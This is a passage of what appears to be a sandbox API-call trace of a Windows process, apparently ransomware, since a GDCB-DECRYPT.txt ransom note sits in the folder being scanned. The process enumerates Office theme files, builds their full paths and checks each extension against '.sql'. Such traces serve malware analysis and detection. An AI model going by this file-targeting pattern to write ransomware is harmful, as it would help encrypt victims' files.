lpFileName="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 0x2c7700 [0135.663] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0135.663] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\GDCB-DECRYPT.txt") returned 118 [0135.664] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03090430[[fn=Banded]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090430[[fn=Banded]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090430[[fn=Banded]].thmx") returned 130 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03090434[[fn=Wood Type]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03090434[[fn=Wood Type]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03090434[[fn=Wood Type]].thmx") returned 133 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03457444[[fn=Basis]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457444[[fn=Basis]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457444[[fn=Basis]].thmx") returned 129 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03457464[[fn=Dividend]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457464[[fn=Dividend]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457464[[fn=Dividend]].thmx") returned 132 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03457475[[fn=Frame]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457475[[fn=Frame]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457475[[fn=Frame]].thmx") returned 129 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03457485[[fn=Mesh]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457485[[fn=Mesh]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457485[[fn=Mesh]].thmx") returned 128 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03457491[[fn=Metropolitan]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457491[[fn=Metropolitan]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx" [0135.664] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457491[[fn=Metropolitan]].thmx") returned 136 [0135.664] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.664] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.664] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2=".") returned 1 [0135.664] lstrcmpW (lpString1="TM03457496[[fn=Parallax]].thmx", lpString2="..") returned 1 [0135.664] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457496[[fn=Parallax]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457496[[fn=Parallax]].thmx") returned 132 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM03457503[[fn=Quotable]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457503[[fn=Quotable]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457503[[fn=Quotable]].thmx") returned 132 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM03457510[[fn=Savon]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457510[[fn=Savon]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457510[[fn=Savon]].thmx") returned 129 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM03457515[[fn=View]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM03457515[[fn=View]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM03457515[[fn=View]].thmx") returned 128 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033917[[fn=Berlin]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033917[[fn=Berlin]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033917[[fn=Berlin]].thmx") returned 130 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033919[[fn=Circuit]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033919[[fn=Circuit]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033919[[fn=Circuit]].thmx") returned 131 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033921[[fn=Damask]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033921[[fn=Damask]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033921[[fn=Damask]].thmx") returned 130 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033925[[fn=Droplet]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033925[[fn=Droplet]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033925[[fn=Droplet]].thmx") returned 131 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033927[[fn=Main Event]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033927[[fn=Main Event]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033927[[fn=Main Event]].thmx") returned 134 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033929[[fn=Slate]].thmx", lpString2="..") returned 1 [0135.665] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033929[[fn=Slate]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx" [0135.665] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033929[[fn=Slate]].thmx") returned 129 [0135.665] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.665] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.665] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2=".") returned 1 [0135.665] lstrcmpW (lpString1="TM04033937[[fn=Vapor Trail]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM04033937[[fn=Vapor Trail]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM04033937[[fn=Vapor Trail]].thmx") returned 135 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.666] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2=".") returned 1 [0135.666] lstrcmpW (lpString1="TM10001103[[fn=Headlines]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001103[[fn=Headlines]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001103[[fn=Headlines]].thmx") returned 133 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.666] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2=".") returned 1 [0135.666] lstrcmpW (lpString1="TM10001104[[fn=Feathered]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001104[[fn=Feathered]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001104[[fn=Feathered]].thmx") returned 133 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.666] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2=".") returned 1 [0135.666] lstrcmpW (lpString1="TM10001105[[fn=Crop]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001105[[fn=Crop]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001105[[fn=Crop]].thmx") returned 128 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.666] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2=".") returned 1 [0135.666] lstrcmpW (lpString1="TM10001106[[fn=Badge]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\", lpString2="TM10001106[[fn=Badge]].thmx" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx" [0135.666] lstrlenW (lpString="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\TM10001106[[fn=Badge]].thmx") returned 129 [0135.666] lstrcmpW (lpString1=".thmx", lpString2=".sql") returned 1 [0135.666] FindNextFileW (in: hFindFile=0x2c7700, lpFindFileData=0x285de78 | out: lpFindFileData=0x285de78) returned 1 [0135.666] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2=".") returned 1 [0135.666] lstrcmpW (lpString1="TM10001114[[fn=Gallery]].thmx", lpString2="..") returned 1 [0135.666] lstrcatW (in: 